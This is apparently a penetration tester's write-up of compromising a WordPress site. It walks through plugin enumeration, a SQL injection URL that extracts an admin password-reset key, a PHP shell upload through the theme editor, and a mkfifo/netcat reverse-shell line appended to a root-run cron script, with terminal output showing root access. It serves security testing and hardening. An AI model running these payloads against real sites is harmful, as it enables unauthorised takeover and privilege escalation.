Recently I have performed a large number of web application penetration tests against websites that use WordPress. I have found some of them quite secure and well configured but others allowed a full compromise of the WordPress administration section, with subsequent full control of the webserver.
In this article I am going to describe a scenario of a recent penetration test of a website using WordPress. Since WordPress is probably one of the most popular Content Management Systems (CMS), the following steps can be replicated against a large number of similar WordPress sites and with a few changes against other CMS such as Drupal, Joomla and so on.
One of the first things to do during a test is to identify which technology the target website is using and at the same time which version. Identifying the version of an unhardened WordPress is straight forward. By browsing the default “readme.html” WordPress lets us know the current version installed:
When this information is collected, it is possible to search online for public vulnerabilities related to that specific version. Unfortunately the research did not reveal any good vulnerabilities and the next step was to enumerate the WordPress plugins.
A good tool to do that is WPScan (http://wpscan.org/) which also shows the version of WordPress and if the identified plugins have publicly disclosed vulnerabilities. Another tool to enumerate WordPress plugins by brute-forcing the website is Dirbuster (https://www.owasp.org/index.php/Category:OWASP_DirBuster_Project). Since the WordPress plugin web path is known it is possible to configure Dirbuster for searching the plugin readme file as below:
Note that the “intruder” in Burp or any other brute-forcing tools can be also used to achieve the same result.
However all these tools will be useless if you do not have a good wordlist. WPScan has the following plugin list which can be used along with Dirbuster or Burp.
Alternatively you can create your plugins list by crawling the official WordPress site at http://wordpress.org looking for the most popular plugins. The following Python code was used to generate a plugins list by crawling the first 20 pages of the website.
import httplib, urllib2, re, os, sys, getopt
from BeautifulSoup import BeautifulSoup
plugins = 
for n in range(1,20):
URLObject = urllib2.urlopen("http://wordpress.org/extend/plugins/browse/popular/page/"+str(n)+"/")
html = BeautifulSoup(URLObject.read())
data = html.findAll('h3')
for n in range(1,16):
# sort unique
oldplugins = [line.strip() for line in open('plugins.txt')]
plugins = plugins + oldplugins
plugins = sorted(set(plugins))
# write into file
f = open("plugins.txt", "w")
for plugin in plugins: f.write("%s\n" % plugin)
print "\nplugins.txt is updated!"
When the enumeration phase of WordPress plugins was completed I searched online for public vulnerabilities related to the identified plugins. Good websites are http://www.exploit-db.com/, http://packetstormsecurity.com, http://1337day.com and the new Shodan exploit searching engine https://exploits.shodan.io.
One of the plugins was vulnerable to a SQL Injection. A SQL Injection vulnerability in a WordPress site basically means obtaining WordPress administrator privileges and thus a PHP shell on the website. Through SQL injection in fact it was possible to read the reset password key from the database by resetting a WordPress administrator’s password at the following URL.
Then the following SQL query was used to retrieve the reset password key from the database:
http://example.com/wp-content/plugins/<vulnerable_plugin>/file.php?param= UNION SELECT user_activation_key FROM wp_users WHERE user_login = 'admin'--
And finally the following URL allowed resetting the WordPress administrator’s password.
And consequently it allowed logging into the WordPress administration section.
Before I mentioned that SQL injection in a WordPress allows uploading a PHP shell on the website as well. This is possible because by resetting an administrator’s password then you have privileges to access the WordPress theme editor, and in case you have write access, it allows adding arbitrary PHP code. As a result, a PHP shell was uploaded:
At this point WordPress was fully compromised and access to the webserver was obtained. Unfortunately the privileges on the webserver were restricted to a low privileged user “www-data”. A privileges escalation attack was thus necessary to elevate my privileges to root.
I tend to avoid local privilege escalation exploits on production systems in order to minimise denial of service as much as possible so for this reason I established a reverse shell connection and I started exploring the file system of the webserver. A large number of files and directories were found to have excessive privileges:
www-data@ubuntu:/home/test$ ls -al
drwxrwxrwx 2 root root 4096 Aug 12 07:00 backup
-rwxrwxrwx 1 root root 616 May 21 01:42 backup-sites.sh
-rwxrwxrwx 1 root root 92 May 21 01:44 delete-backup.sh
-rwxrwxrwx 1 root root 73 Aug 10 01:03 wp-cron.sh
www-data@ubuntu:/home/test2$ ls -al
drwxr-xr-x 2 user1 root 4096 Feb 3 2013 images
drwxr-xr-x 3 user1 root 4096 Feb 3 2013 ttet
The “wp-cron.sh” bash script was also found to be executed with root permissions every 5 minutes in the “crontab” file. Since a low privileged user had write permission to the “wp-cron.sh” file I was able to add a line at the bottom of the file in in order to spawn a bash shell into a localhost connection on TCP port “8080”. When cron executed the script (after 5 minutes), I was able to obtain root access on the webserver by connecting to that port. These steps are illustrated below:
www-data@ubuntu:/home/test$ cat /etc/crontab
00 3 * * * root /home/test/backup-sites.sh
*/5 * * * * root /home/test/wp-cron.sh
00 7 * * * root /home/test/delete-backup.sh
www-data@ubuntu:/home/test$ echo "rm /tmp/g; mkfifo /tmp/g; cat /tmp/g | /bin/bash -i 2>&1 | nc 127.0.0.1 8080 >/tmp/g" >> /home/test/wp-cron.sh
www-data@ubuntu:/home/test$ cat wp-cron.sh
wget -q -o /dev/null http://X.X.X.X/wp/admin/cron.php
rm /tmp/g; mkfifo /tmp/g; cat /tmp/g | /bin/bash -i 2>&1 | nc 127.0.0.1 8080 >/tmp/g
www-data@ubuntu:/home/test$ nc -lvp 8080
nc -lvp 8080
Listening on [0.0.0.0] (family 0, port 8080)
Connection from [127.0.0.1] port 8080 [tcp/http-alt] accepted (family 2, sport 53596)
bash: no job control in this shell
uid=0(root) gid=0(root) groups=0(root)
In summary, both the WordPress website administration section and the web server were fully compromised. Whenever you install a CMS, ensure that you only install the plugins you need, delete unnecessary default files, and keep the core CMS and plugins up-to-date.